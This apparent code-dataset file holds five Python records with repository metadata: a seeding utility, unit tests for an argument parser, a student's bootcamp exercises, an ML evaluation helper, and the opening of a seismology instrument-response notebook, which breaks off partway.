{"text": "import random\nimport numpy as np\nimport torch\n\n# This module is created to make our programs reproducible.\n# To do this we control the seeds of all random sources.\n# When will this break?\n#     If the data provided to the program is not in the same order or the data file has been changed,\n#     we cannot reproduce the results!!\n\n# This function needs to be called before any function that uses randomness.\ndef reproduce(seed = None):\n    if seed == None:\n        seed = random.randint(0,2**32)\n\n    print(\"Execution ID =\", seed)\n    print(\"Use the above Execution ID to reproduce the results.\")\n\n    random.seed(seed)\n    np.random.seed(seed + 1)\n    torch.manual_seed(seed + 2)\n    if torch.cuda.is_available():\n        torch.cuda.manual_seed_all(seed + 3)\n\n    return seed\n", "meta": {"hexsha": "9fbbaa84fb86472c26ec23b49102ac72a09e4c85", "size": 777, "ext": "py", "lang": "Python", "max_stars_repo_path": "model/reproducibility.py", "max_stars_repo_name": "abduskhazi/PL-Binding-Affinity-Prediction-using-ML", "max_stars_repo_head_hexsha": "fe7172570fa378480455b4dcd214d0b0c4e94ff0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-07T09:00:01.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-07T09:00:01.000Z", "max_issues_repo_path": "model/reproducibility.py", "max_issues_repo_name": "abduskhazi/PL-Binding-Affinity-Prediction-using-ML", "max_issues_repo_head_hexsha": "fe7172570fa378480455b4dcd214d0b0c4e94ff0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "model/reproducibility.py", "max_forks_repo_name": "abduskhazi/PL-Binding-Affinity-Prediction-using-ML", "max_forks_repo_head_hexsha": "fe7172570fa378480455b4dcd214d0b0c4e94ff0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.8846153846, "max_line_length": 101, "alphanum_fraction": 0.6988416988, "include": true, "reason": "import numpy", "num_tokens": 177, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091957, "lm_q2_score": 0.12085324515618749, "lm_q1q2_score": 0.05995454919352091}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nUnit tests on kwargs_tools.array_2_args, the most important component \nof that lib.\n\nUsing kwargs_tools.test_file_2_args for leg-work setting up the problem.\n\nUse a reference args, kwargs set to compare results from\ntests/resources/scan_test_case1.csv.\n\nCreated on Tue Mar 26 22:22:58 2019\n\n@author: chris\n\"\"\"\n\nimport unittest\nimport pkg_resources as pkrs\nimport numpy as np\nimport copy\n\nimport tablarray.kwtools as kwt\n\n\ndef _equality_tester(obj1, obj2):\n    \"\"\"Do a detail level structural and values comparison of obj1 and obj2.\n\n    Return False unless they are identical.\n    \"\"\"\n    if type(obj1) is np.ndarray:\n        if not type(obj2) is np.ndarray: return False\n        if len(obj1) != len(obj2): return False\n        for a in range(len(obj1)):\n            eq = _equality_tester(obj1[a], obj2[a])\n            if not eq: return False\n        return True\n    elif type(obj1) is dict:\n        if not type(obj2) is dict: return False\n        for key in obj1:\n            if not key in obj2: return False\n            eq = _equality_tester(obj1[key], obj2[key])\n            if not eq: return False\n        return True\n    else: return np.isclose(obj1, obj2)\n\n\nclass TestTest(unittest.TestCase):\n    \"\"\"Units tests for _equality_tester.\n    Catch 22.\n    I made a module for testing others.\n    \"\"\"\n    def test_1eq1(self):\n        self.assertTrue(_equality_tester(1, 1), '_equality_tester returns False for 1==1')\n\n    def test_floateqfloat(self):\n        self.assertTrue(_equality_tester(3.13, 3.13), '_equality_tester returns False for 3.13==3.13')\n\n    def test_1ne2(self):\n        self.assertFalse(_equality_tester(1, 2), '_equality_tester returns True for 1==2')\n\n    def test_a1eqa2(self):\n        for a in range(20):\n            s1 = int(np.random.rand() * 10)\n            s2 = int(np.random.rand() * 4)\n            a1 = np.random.randn(s1, s2)\n            a2 = copy.deepcopy(a1)\n            self.assertTrue(_equality_tester(a1, a2),\n                            '_equality_tester returns False for mxn matrix copy')\n\n    def test_a1neb1(self):\n        for a in range(20):\n            s1 = int(np.random.rand() * 11 + 2)\n            s2 = int(np.random.rand() * 5 + 1)\n            a1 = np.random.randn(s1, s2)\n            a2 = copy.deepcopy(a1)\n            a1[1,0] = -1e10\n            self.assertFalse(_equality_tester(a1, a2),\n                             '_equality_tester returns True for altered mxn matrix comparison')\n\n    def test_dicteqdict(self):\n        d1 = {'a':100, 'b':1, 'c':-12, 'd':3.14159}\n        d2 = copy.deepcopy(d1)\n        self.assertTrue(_equality_tester(d1, d2))\n\n    def test_wrong_levels(self):\n        a1 = np.array([[[[-1]]]])\n        a2 = np.array([-1])\n        self.assertFalse(_equality_tester(a1, a2))\n\n    def test_empty1(self):\n        a1 = np.array([])\n        a2 = a1\n        self.assertTrue(_equality_tester(a1, a2))\n    \n    def test_empty2(self):\n        a1 = np.array([])\n        a2 = np.array([[]])\n        self.assertFalse(_equality_tester(a1, a2))\n    \n    def test_empty3(self):\n        a1 = np.array([[]])\n        a2 = np.array([])\n        self.assertFalse(_equality_tester(a1, a2))\n\n# it's important that this actually matches the structure encoded in scan_test_case1.csv\nref1_args = (1,\n            3.14,\n            np.array([[0, 1], [-1, .01]]))\n\nref1_kwargs = {'bb':np.array([1.5]),\n              'g':np.array([{'a':np.array([1.1, 100.325]), 'b':np.array([1.2, 80.52])},\n                             {'a':np.array([1.15, -70.25]), 'b':np.array([1.13, 346])}\n                             ]),\n              'h':np.array([[[1.1, 100.325], [1.6, 65]],\n                            [[1.2, 80.52], [1.65, 64.53]]]),\n              'i':np.array([1.16, 2.13]),\n              'j':np.array([[[[-1e-5]]]]),\n              'k':np.array([]),\n              'l':{'a':.01, 'b':-.05}\n              }\n\nclass kwScanTestCase1(unittest.TestCase):\n    '''Tests for kwargs_scan.py\n    By loading scan_test_case1.csv and testing each arg, kwarg matches\n    ref1_args and ref1_kwgargs defined above.\n    '''\n    def setUp(self):\n        fname = pkrs.resource_filename(__name__, 'resources/scan_test_case1.csv')\n        self.args, self.kwargs = kwt.test_file_2_args(fname)\n    \n    def test_arg1(self):\n        '''Test whether 1 was cast as args[0] as expected.\n        '''\n        self.assertTrue(_equality_tester(self.args[0], ref1_args[0]))\n    \n    def test_arg2(self):\n        '''Test whether 3.14 was cast as args[1] as expected'''\n        self.assertTrue(_equality_tester(self.args[1], ref1_args[1]))\n    \n    def test_arg3(self):\n        '''Test whether args[2] is the 2x2 array as expected'''\n        self.assertTrue(_equality_tester(self.args[2], ref1_args[2]))\n    \n    def test_len_args(self):\n        '''Test whether the len(args) eq 3 as expected'''\n        self.assertEqual(len(self.args), 3, msg=('len(args)=%d, but expected 3'\n                                                 % len(self.args)))\n    \n    def test_kwarg1(self):\n        '''Test whether kwarg 'c' is missing'''\n        self.assertNotIn('c', self.kwargs)\n    \n    def test_kwarg2(self):\n        '''Test whether kwarg 'bb':[1.5] is as expected'''\n        self.assertIn('bb', self.kwargs)\n        self.assertTrue(_equality_tester(self.kwargs['bb'], ref1_kwargs['bb']))\n    \n    def test_kwarg4(self):\n        '''Test whether kwarg 'g':[[[...]]] is as expected.'''\n        self.assertIn('g', self.kwargs)\n        self.assertTrue(_equality_tester(self.kwargs['g'], ref1_kwargs['g']))\n    \n    def test_kwarg5(self):\n        '''Test whether kwarg 'h':[[[...]]] is as expected.'''\n        self.assertIn('h', self.kwargs)\n        self.assertTrue(_equality_tester(self.kwargs['h'], ref1_kwargs['h']))\n\n    def test_kwarg6(self):\n        '''Test whether kwarg 'i':[...] is as expected.'''\n        self.assertIn('i', self.kwargs)\n        self.assertTrue(_equality_tester(self.kwargs['i'], ref1_kwargs['i']))\n\n    def test_kwarg7(self):\n        '''Test whether kwarg 'j':[[[[-1e-5]]]] is as expected.'''\n        self.assertIn('j', self.kwargs)\n        self.assertTrue(_equality_tester(self.kwargs['j'], ref1_kwargs['j']))\n    \n    def test_kwarg8(self):\n        '''Test whether kwarg 'k':[] is as expected.'''\n        self.assertIn('k', self.kwargs)\n        self.assertTrue(_equality_tester(self.kwargs['k'], ref1_kwargs['k']))\n\n    def test_kwarg9(self):\n        '''Test whether kwarg 'l':{'a':.01, 'b':-.05} is as expected.'''\n        self.assertIn('l', self.kwargs)\n        self.assertTrue(_equality_tester(self.kwargs['l'], ref1_kwargs['l']))\n\nif __name__ == '__main__':\n    unittest.main()", "meta": {"hexsha": "d7111e574021214b25d45c2c2dcb8ec3ba5af2a6", "size": 6646, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_argtools_scan.py", "max_stars_repo_name": "chriscannon9001/tablarray", "max_stars_repo_head_hexsha": "f07530f84a8c86abe996cdb999233ed9bb8edf7e", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_argtools_scan.py", "max_issues_repo_name": "chriscannon9001/tablarray", "max_issues_repo_head_hexsha": "f07530f84a8c86abe996cdb999233ed9bb8edf7e", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_argtools_scan.py", "max_forks_repo_name": "chriscannon9001/tablarray", "max_forks_repo_head_hexsha": "f07530f84a8c86abe996cdb999233ed9bb8edf7e", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.164021164, "max_line_length": 102, "alphanum_fraction": 0.5786939512, "include": true, "reason": "import numpy", "num_tokens": 1796, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.12085323882332895, "lm_q1q2_score": 0.05995454605182885}}
{"text": "# \u6ce8\u610f - Copy this file and rename as assignment3_{first_name}.py then complete code with a PR.\n# \u6ce8\u610f - Copy this file and rename as assignment3_{first_name}.py then complete code with a PR.\n# \u6ce8\u610f - Copy this file and rename as assignment3_{first_name}.py then complete code with a PR.\nimport null as null\nimport numpy as np\n\nimport re\n\n# Q1.\n\"\"\"\n\u8bf7\u5b9e\u73b0 2\u4e2apython list \u7684 \u2018cross product\u2019 function.\n\u8981\u6c42\u6309\u7167Numpy \u4e2dcross product\u7684\u6548\u679c: https://numpy.org/doc/stable/reference/generated/numpy.cross.html\n\u53ea\u5b9e\u73b0 1-d list \u7684\u60c5\u51b5\u5373\u53ef.\n\nx = [1, 2, 0]\ny = [4, 5, 6]\ncross(x, y)\n> [12, -6, -3]\n\"\"\"\n\n\ndef cross_product1(x: [int], y: [int]):\n    return [x[1] * y[2] - x[2] * y[1], x[2] * y[0] - x[0] * y[2], x[0] * y[1] - x[1] * y[0]]\n\n\ndef cross_product2(x: [int], y: [int]) -> list:\n    A = np.array(x)\n    B = np.array(y)\n    return list(np.cross(A, B))\n\n\nassert cross_product1([1, 2, 0], [4, 5, 6]) == [12, -6, -3]\nassert cross_product2([1, 2, 0], [4, 5, 6]) == [12, -6, -3]\n\n# Q2.\n\"\"\"\n\u4ea4\u6613\u4f20\u8f93\u6307\u4ee4\u7ecf\u5e38\u9700\u8981\u9a8c\u8bc1\u5b8c\u6574\u6027\uff0c\u6bd4\u5982\u4ee5\u4e0b\u7684\u4f8b\u5b50\n{ \n    request : \n    { \n        order# : 1, \n        Execution_details: ['a', 'b', 'c'],\n        request_time: \"2020-10-10T10:00EDT\"\n    },\n    checksum:1440,\n    ...\n}\n\u53ef\u4ee5\u901a\u8fc7\u5f88\u591a\u79cd\u65b9\u5f0f\u9a8c\u8bc1\u5b8c\u6574\u6027\uff0c\u5047\u8bbe\u6211\u4eec\u901a\u8fc7\u5224\u65ad\u6574\u4e2a\u6587\u672c\u4e2d\u7684\u62ec\u53f7 \u6bd4\u5982 '{}', '[]', '()' \u6765\u5224\u65ad\u4e0b\u5355\u662f\u5426\u4e3a\u6709\u6548\u7684\u3002\n\u6bd4\u5982 {{[],[]}}\u662f\u6709\u6548\u7684\uff0c\u7136\u800c []{[}](\u662f\u65e0\u6548\u7684\u3002 \n\u5199\u4e00\u4e2apython \u7a0b\u5e8f\u6765\u8fdb\u884c\u9a8c\u8bc1\u3002\n def check_orders(orders: [str]) -> [bool]:\n return a list of True or False.\ncheck_orders([\"()\", \"(\", \"{}[]\", \"[][][]\", \"[{]{]\"] return [True, False, True, True, False]\n\"\"\"\n\nsymbol = {'}': '{', ']': '[', ')': '(', '>': '<'}\nopen_list, close_list = symbol.values(), symbol.keys()\n\n\ndef check_orders(orders: [str]) -> [bool]:\n    tem_list = []\n    bool_list = []\n    for item in orders:\n        if len(item) == 1:  # When item is only composed of one string, output False.\n            bool_list.append(False)\n\n        else:  # When item is not composed of just one string, continue.\n            for i in range(len(item)):\n                if item[i] in open_list:\n                    tem_list.append(item[i])  # Add the open symbol into temporary list\n                elif item[i] in close_list:\n                    if tem_list[-1] == symbol[item[i]]:\n                        # When the close symbol match the open symbol in temporary list, delete the last string in tem_list\n                        tem_list.pop(-1)\n                        if i == len(item) - 1:\n                            # When item[i] is the last string in item and we can find it's open symbol,output True.\n                            bool_list.append(True)\n                    else:\n                        bool_list.append(False)\n                        break\n    return bool_list\n\n\nassert check_orders([\"()\", \"(\", \"{}[]\", \"[][][]\", \"[{]{]\"]) == [True, False, True, True, False]\n\n# Q3\n\"\"\"\n\u6211\u4eec\u5728\u8fdb\u884c\u4ea4\u6613\u7684\u65f6\u5019\u901a\u5e38\u4f1a\u9009\u62e9\u4e00\u5bb6broker\u516c\u53f8\u800c\u4e0d\u662f\u76f4\u63a5\u4e0e\u4ea4\u6613\u6240\u4ea4\u6613\u3002\n\u5047\u8bbe\u6211\u4eec\u670920\u5bb6broker\u516c\u53f8\u53ef\u4ee5\u9009\u62e9 (broker id is 0...19)\uff0c\u901a\u8fc7\u4e00\u6bb5\u65f6\u95f4\u7684\u4e0b\u5355\u8868\u73b0(\u5b8c\u6210\u4ea4\u6613\u7684\u65f6\u95f4)\uff0c\u6211\u4eec\u5e0c\u671b\u627e\u5230\u6700\u6162\u7684broker\u516c\u53f8\u5e76\u4e14\u8003\u8651\u4e0e\u5176\u89e3\u9664\u5408\u7ea6\u3002\n\u6211\u4eec\u7528\u7b80\u5355\u7684\u6570\u636e\u7ed3\u6784\u8868\u8fbebroker\u516c\u53f8\u548c\u4e0b\u5355\u65f6\u95f4: [[broker id, \u6b64\u65f6\u79d2\u6570]]\n[[0, 2], [1, 5], [2, 7], [0, 16], [3, 19], [4, 25], [2, 35]]\n\u89e3\u8bfb: \nBroker 0 \u4f7f\u7528\u4e860s - 2s = 2s\nBroker 1 \u4f7f\u7528\u4e865 - 2 = 3s\nBroker 2 \u4f7f\u7528\u4e867 - 5 = 2s\nBroker 0 \u4f7f\u7528\u4e8616-7 = 9s\nBroker 3 \u4f7f\u7528\u4e8619-16=3s\nBroker 4 \u4f7f\u7528\u4e8625-19=6s\nBroker 2 \u4f7f\u7528\u4e8635-25=10s\n\u7efc\u5408\u8868\u73b0\uff0c\u662fbroker2\u51fa\u73b0\u4e86\u6700\u6162\u7684\u4ea4\u6613\u8868\u73b0\u3002\n\ndef slowest(orders: [[int]]) -> int:\n\nslowest([[0, 2], [1, 5], [2, 7], [0, 16], [3, 19], [4, 25], [2, 35]]) return 2\n\"\"\"\n\n\ndef slowest(orders: [[int]]) -> int:\n    time_list = []\n    broker_list = []\n    new_list = [[0, 0]]\n    new_list.extend(orders)\n    # print(new_list)\n    # print(len(new_list))\n    for i in range(len(new_list) - 1, 0, -1):\n        # print(i)\n        time = new_list[i][1] - new_list[i - 1][1]\n        time_list.append(time)\n    # print(time_list)\n    for i in range(len(orders) - 1, -1, -1):\n        broker_list.append(orders[i][0])\n    # print(broker_list)\n    max_loc = time_list.index(max(time_list))\n    # print(max_loc)\n    return broker_list[max_loc]\n\n\na = [[0, 2], [1, 5], [2, 7], [0, 16], [3, 19], [4, 25], [2, 35]]\n\nassert slowest(a) == 2\n\n# Q4\n\"\"\"\n\u5224\u65ad\u673a\u5668\u4eba\u662f\u5426\u80fd\u8fd4\u56de\u539f\u70b9\n\n\u4e00\u4e2a\u673a\u5668\u4eba\u4ece\u5e73\u9762(0,0)\u7684\u4f4d\u7f6e\u51fa\u53d1\uff0c\u4ed6\u53ef\u4ee5U(\u5411\u4e0a), L(\u5411\u5de6), R(\u5411\u53f3), \u6216\u8005D(\u5411\u4e0b)\u79fb\u52a8\u4e00\u4e2a\u683c\u5b50\u3002\n\u7ed9\u5b9a\u4e00\u4e2a\u884c\u8d70\u987a\u5e8f\uff0c\u95ee\u662f\u5426\u53ef\u4ee5\u56de\u5230\u539f\u70b9\u3002\n\n\u4f8b\u5b50\n1. moves = \"UD\", return True.\n2. moves = \"LL\", return False.\n3. moves = \"RRDD\", return False.\n4. moves = \"LDRRLRUULR\", return False.\n\ndef judge_robot_move(moves: str) -> bool:\n\n\"\"\"\n\n\ndef judge_robot_move(moves: str) -> bool:\n    loc = [0, 0]\n    for direction in moves:\n        if direction == 'U':\n            loc[1] += 1\n        if direction == 'D':\n            loc[1] -= 1\n        if direction == 'L':\n            loc[0] -= 1\n        if direction == 'R':\n            loc[0] += 1\n\n    return loc == [0, 0]\n\n\n# print(judge_robot_move(\"RRDD\"))\n\n\nassert judge_robot_move(\"UD\")\nassert not judge_robot_move(\"LL\")\nassert not judge_robot_move(\"RRDD\")\nassert not judge_robot_move(\"LDRRLRUULR\")\n\n# Q5\n\"\"\"\n\u5199\u4e00\u4e2a\u9a8c\u8bc1email\u683c\u5f0f\u7684\u7a0b\u5e8f\uff0c \u5bf9\u4e8e\u7ed9\u5b9a\u7684string\u76d1\u67e5\u662f\u4e0d\u662f\u4e00\u4e2aemail\u5730\u5740:\n1. \u5fc5\u987b\u53ea\u5305\u542b\u5c0f\u5199\u5b57\u6bcd\uff0c\"-\", \"/\" , \".\" , \"_\" \u548c\u6570\u5b57\n2. \u6709\u4e14\u4ec5\u6709\u4e00\u4e2a\"@\"\n3. @\u4e4b\u524d\u4e4b\u540e\u4e0d\u80fd\u4e3a\u7a7a\n4. \u4ee5 \".edu\" \u6216 \".com\" \u7ed3\u5c3e\n\n\u53ef\u4ee5\u4f7f\u7528regex\u6216\u8005python\u6807\u51c6\u5305\u7684\u65b9\u6cd5\u3002\n\"\"\"\n\n\ndef check_email(email):\n    p = re.compile(r'[0-9-/._a-z]+@[0-9-/._a-z]+\\.(com|edu)')  # Regular Expression\n    if p.findall(email) == null:\n        return False\n    else:\n        if email[-1] == 'u' or email[-1] == 'm':\n            # In case some suffixes behind .com or .edu ,which using regex cannot find out\n            return True\n        else:\n            return False\n\n\nassert check_email('liyf258@mail2.sysu.edu')\nassert not check_email('liyf258@mail2.sysu.edu.cn')\n", "meta": {"hexsha": "5576d8ba581ecd0598b3d2f075a925651045cadf", "size": 5368, "ext": "py", "lang": "Python", "max_stars_repo_path": "week3-numpy-pandas/assignment3/assignment3_Yunfan.py", "max_stars_repo_name": "LiYunnfan/2021-summer-bootcamp", "max_stars_repo_head_hexsha": "fcc46a9d812912a9f9f06782c121bde460f20c5f", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "week3-numpy-pandas/assignment3/assignment3_Yunfan.py", "max_issues_repo_name": "LiYunnfan/2021-summer-bootcamp", "max_issues_repo_head_hexsha": "fcc46a9d812912a9f9f06782c121bde460f20c5f", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week3-numpy-pandas/assignment3/assignment3_Yunfan.py", "max_forks_repo_name": "LiYunnfan/2021-summer-bootcamp", "max_forks_repo_head_hexsha": "fcc46a9d812912a9f9f06782c121bde460f20c5f", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.9748743719, "max_line_length": 123, "alphanum_fraction": 0.5653874814, "include": true, "reason": "import numpy", "num_tokens": 1959, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38861802670584894, "lm_q2_score": 0.15405756463346185, "lm_q1q2_score": 0.059869546766964724}}
{"text": "\"\"\"\r\nThis is the helper functions for evaluation purposes\r\n\r\n\"\"\"\r\nimport numpy as np\r\nfrom sklearn.metrics import confusion_matrix\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport pandas as pd\r\n#from helper_functions import simulator\r\n\r\n\r\ndef get_test_ratio_helper(flags):\r\n    \"\"\"\r\n    The unified place for getting the test_ratio the same for all methods for the dataset,\r\n    This is for easier changing for multi_eval\r\n    \"\"\"\r\n    if flags.data_set == 'Peurifoy':\r\n        return 0.02                        # 1000 in total\r\n        #return 0.25\r\n        #return 0.1\r\n        #return 0.0625                        # 500 in total\r\n    elif 'Yang' in flags.data_set:\r\n        #return 0.02\r\n        return 0.25                        # 10000 in total for Meta material\r\n    else:\r\n        print(\"Your dataset is none of the artificial datasets\")\r\n        return None\r\n\r\ndef compare_truth_pred(pred_file, truth_file, cut_off_outlier_thres=None, quiet_mode=False):\r\n    \"\"\"\r\n    Read truth and pred from csv files, compute their mean-absolute-error and the mean-squared-error\r\n    :param pred_file: full path to pred file\r\n    :param truth_file: full path to truth file\r\n    :return: mae and mse\r\n    \"\"\"\r\n    if isinstance(pred_file, str):      # If input is a file name (original set up)\r\n        pred = pd.read_csv(pred_file, header=None, sep=' ').values\r\n        print(np.shape(pred))\r\n        if np.shape(pred)[1] == 1:\r\n            pred = pd.read_csv(pred_file, header=None, sep=',').values\r\n        truth = pd.read_csv(truth_file, header=None, sep=' ').values\r\n        print(np.shape(truth))\r\n        if np.shape(truth)[1] == 1:\r\n            truth = pd.read_csv(truth_file, header=None, sep=',').values\r\n    elif isinstance(pred_file, np.ndarray):\r\n        pred = pred_file\r\n        truth = truth_file\r\n    else:\r\n        print('In the compare_truth_pred function, your input pred and truth is neither a file nor a numpy array')\r\n    if not quiet_mode:\r\n        print(\"in compare truth pred function in eval_help package, your shape of pred file is\", np.shape(pred))\r\n    if len(np.shape(pred)) == 1:\r\n        # Due to Ballistics dataset gives some non-real results (labelled -999)\r\n        valid_index = pred != -999\r\n        if (np.sum(valid_index) != len(valid_index)) and not quiet_mode:\r\n            print(\"Your dataset should be ballistics and there are non-valid points in your prediction!\")\r\n            print('number of non-valid points is {}'.format(len(valid_index) - np.sum(valid_index)))\r\n        pred = pred[valid_index]\r\n        truth = truth[valid_index]\r\n        # This is for the edge case of ballistic, where y value is 1 dimensional which cause dimension problem\r\n        pred = np.reshape(pred, [-1,1])\r\n        truth = np.reshape(truth, [-1,1])\r\n    mae = np.mean(np.abs(pred-truth), axis=1)\r\n    mse = np.mean(np.square(pred-truth), axis=1)\r\n\r\n    if cut_off_outlier_thres is not None:\r\n        mse = mse[mse < cut_off_outlier_thres]\r\n        mae = mae[mae < cut_off_outlier_thres]\r\n\r\n        \r\n    return mae, mse\r\n\r\n\r\ndef plotMSELossDistrib(pred_file, truth_file, flags=None, save_dir='data/'):\r\n    \"\"\"\r\n    Function to plot the MSE distribution histogram\r\n    :param: pred_file: The Y prediction file\r\n    :param: truth_file: The Y truth file\r\n    :param: flags: The flags of the model/evaluation\r\n    :param: save_dir: The directory to save the plot\r\n    \"\"\"\r\n    mae, mse = compare_truth_pred(pred_file, truth_file)\r\n    plt.figure(figsize=(12, 6))\r\n    plt.hist(mse, bins=100)\r\n    plt.xlabel('Mean Squared Error')\r\n    plt.ylabel('cnt')\r\n    plt.suptitle('(Avg MSE={:.4e}, 25%={:.3e}, 75%={:.3e})'.format(np.mean(mse), np.percentile(mse, 25), np.percentile(mse, 75)))\r\n    if flags is not None:\r\n        eval_model_str = flags.eval_model.replace('/','_')\r\n    else:\r\n        if isinstance(pred_file, str):\r\n            eval_model_str = pred_file.split('Ypred')[-1].split('.')[0]\r\n        else:\r\n            eval_model_str = 'MSE_unknon_name'\r\n    plt.savefig(os.path.join(save_dir,\r\n                            '{}.png'.format(eval_model_str)))\r\n    \r\n    np.savetxt(os.path.join(save_dir, '{}_mse.csv'.format(eval_model_str)), mse, delimiter=',')\r\n    print('(Avg MSE={:.4e})'.format(np.mean(mse)))\r\n    return np.mean(mse)\r\n\r\n\r\ndef eval_from_simulator(Xpred_file, flags):\r\n    \"\"\"\r\n    Evaluate using simulators from pred_file and return a new file with simulator results\r\n    :param Xpred_file: The prediction file with the Xpred in its name\r\n    :param data_set: The name of the dataset\r\n    \"\"\"\r\n    Xpred = np.loadtxt(Xpred_file, delimiter=' ')\r\n    Ypred = simulator(flags.data_set, Xpred)\r\n    Ypred_file = Xpred_file.replace('Xpred', 'Ypred_Simulated')\r\n    np.savetxt(Ypred_file, Ypred)\r\n    Ytruth_file = Xpred_file.replace('Xpred','Ytruth')\r\n    plotMSELossDistrib(Ypred_file, Ytruth_file, flags)\r\n", "meta": {"hexsha": "9c1fbe65ee44101178cba5d24444e1bdf201fd7b", "size": 4874, "ext": "py", "lang": "Python", "max_stars_repo_path": "models/MLP/utils/evaluation_helper.py", "max_stars_repo_name": "Juncheng-Dong/ML_MM_Benchmark", "max_stars_repo_head_hexsha": "ceb9b1563057967cebbec9463190d04406c13cc0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "models/MLP/utils/evaluation_helper.py", "max_issues_repo_name": "Juncheng-Dong/ML_MM_Benchmark", "max_issues_repo_head_hexsha": "ceb9b1563057967cebbec9463190d04406c13cc0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "models/MLP/utils/evaluation_helper.py", "max_forks_repo_name": "Juncheng-Dong/ML_MM_Benchmark", "max_forks_repo_head_hexsha": "ceb9b1563057967cebbec9463190d04406c13cc0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.6581196581, "max_line_length": 130, "alphanum_fraction": 0.6331555191, "include": true, "reason": "import numpy", "num_tokens": 1203, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.12765263859663167, "lm_q1q2_score": 0.05984236043820838}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.2.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# <div style='background-image: url(\"../share/images/header.svg\") ; padding: 0px ; background-size: cover ; border-radius: 5px ; height: 250px'>\n#     <div style=\"float: right ; margin: 50px ; padding: 20px ; background: rgba(255 , 255 , 255 , 0.7) ; width: 50% ; height: 150px\">\n#         <div style=\"position: relative ; top: 50% ; transform: translatey(-50%)\">\n#             <div style=\"font-size: xx-large ; font-weight: 900 ; color: rgba(0 , 0 , 0 , 0.8) ; line-height: 100%\">Applied Seismology</div>\n#             <div style=\"font-size: large ; padding-top: 20px ; color: rgba(0 , 0 , 0 , 0.5)\">Lab: Instrument Response</div>\n#         </div>\n#     </div>\n# </div>\n\n# Seismo-Live: http://seismo-live.org\n#\n# ##### Authors:\n# * Carl Tape ([@carltape](https://github.com/carltape))\n# * Lion Krischer ([@krischer](https://github.com/krischer))\n# ---\n\n# based on *GEOS 626: Applied Seismology from Carl Tape*\n#\n# ---\n\n# This cell does two things: \n# (1) make plots appear in the notebook and (2) creates prettier plots.\n# Make sure to execute it at least once!\n# %matplotlib inline\nimport matplotlib.pyplot as plt\nplt.style.use('ggplot')\nplt.rcParams['figure.figsize'] = 10, 5\n\n# ### L1 Instructions\n#\n# This is a Python and ObsPy version of the above mentioned lab. We will perform the same calculations and create similar plots but we will be using different services, data formats, and tools.\n#\n# It aims to teach students how to calculate, visualize and use instruments responses.\n\n# ### L2 Computing and plotting instrument response, $I(\u03c9)$ \n\n# ##### Acquiring Data\n#\n# The first step when working with instrument data is to acquire it. Nowadays this is mostly done using the *station* web service defined by the [FDSN](http://www.fdsn.org/) (International Federation of Digital Seismograph Networks). Once you know how to use this you can use it to download data from data centers across the globe including IRIS, ORFEUS, ETH, RESIF, GEONET, and many more. Notable exceptions are most Asian countries and countries that don't freely share their data.\n\n# With ObsPy this works by first importing the FDSN `Client` class and then initializing it with the data center you want to download from. For this lab we will use data from the Geoscope project, which can be downloaded from IRIS (its \"home\" data center is the IPGP in Paris which you can also use - just replace `\"IRIS\"` with `\"IPGP\"` in the following code box - but most of you will be more familiar with IRIS).\n#\n# See the [documentation of obspy.clients.fdsn](http://docs.obspy.org/packages/obspy.clients.fdsn.html) for more details.\n\nfrom obspy.clients.fdsn import Client\n# ObsPy knows which website to connect to for many data center.\n# For others you can also pass the full URL.\nc = Client(\"IRIS\")\n\n# Station information is time dependent due to for example changed sensors, new calibrations, or other changes. It is thus important to specify the time frame for which to request response information.\n#\n# ObsPy handles absolute times with the `UTCDateTime` class. See the [documentation](http://docs.obspy.org/packages/autogen/obspy.core.utcdatetime.UTCDateTime.html) and the 